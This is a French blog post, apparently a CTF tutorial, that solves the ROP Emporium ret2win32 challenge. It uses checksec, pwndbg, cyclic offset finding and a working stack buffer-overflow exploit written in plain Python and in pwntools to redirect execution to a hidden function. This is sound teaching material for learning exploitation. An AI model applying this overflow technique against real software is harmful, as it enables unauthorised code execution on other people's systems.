Post ret2win-x86
security 22 MARS 2026

Ret2win x86 : premier exploit avec ROP Emporium

security

Le ret2win, c’est le point d’entrée du binary exploitation en CTF. L’idée est simple : un binaire contient une fonction qui n’est jamais appelée normalement — notre job c’est de détourner l’exécution pour l’atteindre, via un buffer overflow.

On va résoudre le challenge ret2win32 de ROP Emporium en partant des outils natifs, sans pwntools pour l’instant.

On peut télécharger le binaire directement depuis le site :

Terminal window
wget https://ropemporium.com/binary/ret2win32.zip
unzip ret2win32.zip

Analyser le binaire

On commence toujours par comprendre ce qu’on a.

Terminal window
file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped

32 bits, non strippé — les symboles sont présents, c’est parfait pour débuter (les symboles de développement seront visibles par des outils comme gdb).

Terminal window
checksec --file=ret2win32
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

Pas de canary, pas de PIE. NX est actif mais on n’en a pas besoin — on ne va pas injecter de shellcode, juste rediriger vers une fonction existante. Les adresses sont fixes à chaque exécution.

On lance le binaire pour voir son comportement :

Terminal window
./ret2win32
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
>

Le binaire annonce lui-même qu’il essaie de mettre 56 bytes dans un buffer de 32. On sait déjà qu’on peut le faire overflow.

Identifier la fonction cible

Dans la suite je vais utiliser pwndbgqui est un outil incroyable servant de superset pour gdb. Il va permettre d’ajouter plusieurs fonctionnalités à gdb , la coloration syntaxique, une vue améliorée de la stack; Bref que de bons suppléments ! Je laisse le lien vers le projet ici.

On ouvre pwndbg et on liste les fonctions :

Terminal window
pwndbg ret2win32

ret2win-x86-20260323

La fonction ret2win est là, à l’adresse 0x0804862c. On désassemble pour confirmer ce qu’elle fait :

Terminal window
pwndbg> disas ret2win

ret2win-x86-20260323

Elle appelle system() avec une chaîne en argument. On vérifie ce que c’est :

ret2win-x86-20260323

Bien. C’est notre cible.

Identifier la vulnérabilité

On désassemble pwnme pour comprendre le buffer :

Terminal window
pwndbg> disas pwnme

ret2win-x86-20260323

Le buffer est à [ebp-0x28], soit 40 octets sous EBP. read() accepte jusqu’à 0x38 = 56 bytes. On peut donc écrire bien au-delà du buffer.

Calculer l’offset

On génère un pattern avec cyclic de pwndbg :

Terminal window
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg>
Terminal window
pwndbg> run <<< $(echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")

Le programme crash. On regarde EIP :

ret2win-x86-20260323

Terminal window
pwndbg> info registers eip
eip 0x6161616c 0x6161616c

On calcule l’offset :

Terminal window
cyclic -l 0x6161616c
pwndbg> cyclic -l 0x6161616c
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44

L’offset est 44 bytes. C’est cohérent avec la structure de la stack : 40 octets de buffer (0x28) + 4 octets pour l’ancien EBP sauvegardé = 44 avant d’atteindre l’adresse de retour.

On confirme avec un test rapide :

Terminal window
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'B'*4)" | gdb -q ret2win32 -ex 'run' -ex 'info registers eip' -ex quit

ret2win-x86-20260323

EIP vaut 0x42424242 — nos B. L’offset est bon. On écrase de manière précise l’adresse de la prochaine instruction du programme (stockée dans EIP pour les programmes x86). On peut maintenant remplacer BBBB par la réelle adresse mémoire de notre prochaine instruction : la fonction ret2win.

Construire l’exploit

On a tout ce qu’il faut :

En x86, le little-endian signifie que 0x0804862c s’écrit \x2c\x86\x04\x08 dans notre payload. struct.pack s’en charge automatiquement.

import sys
import struct
offset = 44
ret2win_addr = 0x0804862c
payload = b'A' * offset
payload += struct.pack('<I', ret2win_addr)
sys.stdout.buffer.write(payload)

On exécute :

Terminal window
python3 exploit.py | ./ret2win32

ret2win-x86-20260323

Le flag s’affiche. Le segfault après, c’est normal — ret2win() se termine et essaie de retourner vers une adresse invalide. Pour nettoyer ça, on peut ajouter l’adresse de exit() après ret2win dans le payload, mais pour un CTF c’est suffisant.

Version pwntools

Une fois qu’on comprend la mécanique, pwntools rend l’écriture plus propre :

from pwn import process, ELF, p32
p = process('./ret2win32')
elf = ELF('./ret2win32')
offset = 44
# Adresse de ret2win() récupérée dynamiquement
ret2win_addr = elf.symbols['ret2win']
payload = b'A' * offset
payload += p32(ret2win_addr)
p.sendline(payload)
p.interactive()

ret2win-x86-20260323

p32() gère le little-endian, p.interactive() garde stdin ouvert. C’est la même logique, juste moins de boilerplate.

Ce qu’on retient

Ce challenge illustre les trois conditions d’un ret2win classique : pas de canary (on peut écraser EIP), pas de PIE (les adresses sont fixes), et une fonction intéressante présente dans le binaire. On a d’abord construit l’exploit avec struct.pack pour comprendre ce qui se passe vraiment, le little-endian, la structure du payload, pourquoi ces 44 bytes. pwntools vient après, pas avant. Une fois que la mécanique est claire, p32() et p.interactive() font gagner du temps, mais ils ne remplacent pas la compréhension. Dès qu’une condition change, canary actif, PIE activé, c’est cette base qui permet de s’adapter.